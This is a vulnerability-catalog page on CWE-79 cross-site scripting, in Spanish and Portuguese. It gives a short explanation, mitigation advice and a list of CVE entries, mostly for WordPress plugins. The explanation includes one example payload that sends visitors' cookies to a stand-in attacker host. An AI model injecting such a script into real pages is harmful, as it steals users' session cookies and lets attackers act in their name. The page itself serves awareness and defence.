Fallos del tipo CWE-79

30.283 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-27343HIGHWordPress WooCommerce HTML5 Video Plugin <= 1.7.10 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24586HIGHWordPress Shipment Tracker for Woocommerce plugin <= 1.4.23 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-11276MEDIUMPDF Builder for WooCommerce. Create invoices,packing slips and more <= 1.2.136 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-32561HIGHWordPress WP_DEBUG Toggle plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-8608HIGHStored XSS in Oceanic Software's ValeAppEPSS 0.3%CVE-2025-46234HIGHWordPress Control Listings plugin <= 1.0.4.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23443HIGHWordPress Author Showcase plugin <= 1.4.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-39408HIGHWordPress BruteGuard – Brute Force Login Protection plugin <= 0.1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-27291HIGHWordPress Photo Gallery – Image Gallery Plugin <= 2.0.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-39519HIGHWordPress Bulk Page Stub Creator plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-1939MEDIUMPercent to Infograph <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2025-27288HIGHWordPress File Icons Plugin <= 2.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24553HIGHWordPress Shipping with Venipak for WooCommerce plugin <= 1.22.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32530HIGHWordPress Wallet System for WooCommerce plugin <= 2.6.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46502HIGHWordPress LSD Custom taxonomy and category meta plugin <= 1.3.2 - CSRF to XSS vulnerabilityEPSS 0.3%CVE-2025-23756HIGHWordPress LawPress plugin <= 1.4.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24655HIGHWordPress Wishlist Plugin <= 1.0.39 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32622HIGHWordPress OTP-less one tap Sign in Plugin <= 2.0.58 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-63644MEDIUMA stored cross-site scripting (XSS) vulnerability exists in pH7Software pH7-Social-Dating-CMS 17.9.1 in the user profile Description field.EPSS 0.3%CVE-2025-32608HIGHWordPress Movylo Marketing Automation Plugin <= 2.0.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%